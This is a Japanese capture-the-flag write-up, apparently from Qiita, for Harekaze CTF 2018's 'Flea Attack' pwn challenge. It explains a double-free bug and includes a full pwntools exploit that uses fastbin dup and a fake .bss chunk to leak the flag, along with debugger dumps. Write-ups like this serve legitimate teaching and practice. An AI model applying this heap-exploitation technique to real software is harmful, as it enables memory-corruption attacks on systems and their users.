0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

Harekaze CTF 2018 writeup

Last updated at Posted at 2018-03-10

Flea Attack(Pwn, 200 points)

.bssにフラグ文字列が格納されていて、それを何とかして読む問題。(シェルまで取ってるwriteupもありましたが)
double free(どこでもfree)ができるということで、昨年の「SECCON Beginners NEXT 2017 東京」のPwnableでやってたFastbin DupからのFastbin unlink attackが使えるぞと脊髄反射して取り組んだわけですが、あとでkusano_kさんのwriteupを読んで「はぁ~、すごくシンプル。。」と感動した次第。

動作概要

  • 最初にコメントを登録する
  • 以降、nameを追加したり削除したりする
  • nameを追加したとき、追加したnameの文字列とその格納アドレスが返る
  • nameを削除するときはその格納アドレスを入力する
# ./flea_attack.elf
Some comment this note:hoge
1. Add name
2. Delete name
3. Exit
> 1
Size: 20
Name: AAAA
Done!
Name: AAAA

Addr: 19d1250
1. Add name
2. Delete name
3. Exit
> 1
Size: 20
Name: BBBB
Done!
Name: BBBB

Addr: 19d1270
1. Add name
2. Delete name
3. Exit
> 2
Addr: 19d1250
Done!
1. Add name
2. Delete name
3. Exit
> Invalid
1. Add name
2. Delete name
3. Exit
> 3
Bye.

脆弱点

関数del_name内(0x2013ca~0x2013f1あたり)にdouble free(どこでもfree?)の脆弱性がある。
2018-03-09_221625.png

考察

  • Add nameした後に、追加したnameが返る機能を利用して、フラグ文字列を表示させる
    • そのためには.bssにあるフラグ文字列格納アドレス(flag: 0x204080)の少し前にname格納領域(偽チャンク)を確保して、0x204080-1までNULLを含まない適当な文字列で埋める必要がある
    • 上記のような偽チャンクを確保するために、Fastbin DupからのFastbin unlink attackを使う
  • Fastbin unlink attackを成功させるためには、Fastbin DupによってfastbinsY[n]につながれたチャンクたちのsizeと偽チャンクのsizeを同じにしておく必要がある
    • .bssにおいてコメント格納領域(comment: 0x204000)とflag(0x204080)が隣接していることから、コメント内容に偽チャンクのヘッダ部分を入れておく
  • コメントを受け取る関数(gets_comment)は基本的に、「入力文字列に0xaか0x0が来るまでreadし続け、0x0は0xaに変換する。0xaの次のバイトを0x0に設定する。(original_fgets(0x201170)内)」という動きをするため、どうしてもコメントの終端に0xaが入ってしまう?
    • コメント文字数が0x5fの場合は上記変換処理が行われないのでパスできる
  • コメントの0x5f文字目を偽チャンクのsize部分下位1バイトとすると、偽チャンクの先頭アドレスは0x204056となる
    • 先頭アドレス0x204056のチャンクのデータ部分がflag(0x204080)まで達するためにはチャンクサイズとして0x30以上が必要

方針

  1. コメントの入力文字数を0x5fとし、0x5f文字目に偽チャンクのsize(0x31)を設定する
  2. サイズが0x30のチャンクを2つ確保(fb0, fb1)してfb0->fb1->fb0の順にfreeし、Fastbin Dupを成立させる
  3. サイズが0x30のチャンクをmallocするとfb0が返るので、fb0->fd部分に偽チャンクの先頭アドレス(0x204056)を書き込む
  4. サイズが0x30のチャンクを2回mallocすると、次に返るサイズ0x30のチャンクは偽チャンクとなっている
  5. 再度サイズが0x30のチャンクをmallocすると偽チャンクが返る(Fastbin unlink attack成立)ので、そのデータ部分をflag(0x204080)直前までNULL以外の文字列で埋める

exploit

from pwn import *

context.log_level = 'INFO'

target = 'problem.harekaze.com'
port = 20175

conn = remote(target, port)

def add(size, name):
	conn.sendlineafter('> ', '1')
	conn.sendlineafter('Size: ', str(size))
	conn.sendlineafter('Name: ', str(name))
	conn.recvuntil('Done!\n')
	
	conn.recvuntil('Name: ')
	res_name = conn.recvuntil('\nAddr: ', True)
	res_addr = conn.recvuntil('\n', True)
	
	return [res_name, res_addr]

def delete(addr):
	conn.sendlineafter('> ', '2')
	conn.sendlineafter('Addr: ', addr)
	conn.recvuntil('Done!\n')

flag_addr = 0x204080
fake_addr = 0x204056

payload = ''
payload += 'A' * (0x58 + 6)
payload += p8(0x31)
conn.sendafter('note:', payload)

fb0 = add(0x20, 'A'*8)
fb1 = add(0x20, 'A'*8)

delete(fb0[1])
delete(fb1[1])
delete(fb0[1])

add(0x20, p64(fake_addr))
add(0x20, 'A'*8)
add(0x20, 'A'*8)

flag = add(0x20, 'A'*(0x18 + 1))[0]
print flag

conn.close()

検証メモ

1. コメントの入力文字数を0x5fとし、0x5f文字目に偽チャンクのsize(0x31)を設定する

pwndbg> x/16gx 0x204056
0x204056 <comment+86>:  0x4141414141414141      0x0000000000000031
0x204066 <comment+102>: 0x0000000000000000      0x0000000000000000
0x204076 <comment+118>: 0x0000000000000000      0x616b657261480000
0x204086 <flag+6>:      0x6d357b465443657a      0x6c616d735f6c3134
0x204096 <flag+22>:     0x635f616531665f31      0x375f6c6f72376e30
0x2040a6 <flag+38>:     0x646c7230775f3368      0x000000000000007d

2. サイズが0x30のチャンクを2つ確保(fb0, fb1)してfb0->fb1->fb0の順にfreeし、Fastbin Dupを成立させる

pwndbg> x/16gx 0x6b6240
0x6b6240:       0x0000000000000000      0x0000000000000031
0x6b6250:       0x00000000006b6270      0x000000000000000a
0x6b6260:       0x0000000000000000      0x0000000000000000
0x6b6270:       0x0000000000000000      0x0000000000000031
0x6b6280:       0x00000000006b6240      0x000000000000000a
0x6b6290:       0x0000000000000000      0x0000000000000000
0x6b62a0:       0x0000000000000000      0x000000000001fd61
0x6b62b0:       0x0000000000000000      0x0000000000000000
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x6b6240 --> 0x6b6270 --> 0x6b6240 (overlap chunk with 0x6b6240(freed) )
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x6b62a0 (size : 0x1fd60) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0

3. サイズが0x30のチャンクをmallocするとfb0が返るので、fb0->fd部分に偽チャンクの先頭アドレス(0x204056)を書き込む

pwndbg> x/16gx 0x6b6240
0x6b6240:       0x0000000000000000      0x0000000000000031
0x6b6250:       0x0000000000204056      0x000000000000000a
0x6b6260:       0x0000000000000000      0x0000000000000000
0x6b6270:       0x0000000000000000      0x0000000000000031
0x6b6280:       0x00000000006b6240      0x000000000000000a
0x6b6290:       0x0000000000000000      0x0000000000000000
0x6b62a0:       0x0000000000000000      0x000000000001fd61
0x6b62b0:       0x0000000000000000      0x0000000000000000
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x6b6270 --> 0x6b6240 --> 0x204056 --> 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x6b62a0 (size : 0x1fd60) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0

4. サイズが0x30のチャンクを2回mallocすると、次に返るサイズ0x30のチャンクは偽チャンクとなっている

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x204056 --> 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x6b62a0 (size : 0x1fd60) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0

5. 再度サイズが0x30のチャンクをmallocすると偽チャンクが返る(Fastbin unlink attack成立)ので、そのデータ部分をflag(0x204080)直前までNULL以外の文字列で埋める

pwndbg> x/16gx 0x204056
0x204056 <comment+86>:  0x4141414141414141      0x0000000000000031
0x204066 <comment+102>: 0x4141414141414141      0x4141414141414141
0x204076 <comment+118>: 0x4141414141414141      0x616b657261480a41
0x204086 <flag+6>:      0x6d357b465443657a      0x6c616d735f6c3134
0x204096 <flag+22>:     0x635f616531665f31      0x375f6c6f72376e30
0x2040a6 <flag+38>:     0x646c7230775f3368      0x000000000000007d
[+] Opening connection to problem.harekaze.com on port 20175: Done
AAAAAAAAAAAAAAAAAAAAAAAAA
HarekazeCTF{5m41l_smal1_f1ea_c0n7rol_7h3_w0rld}
0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?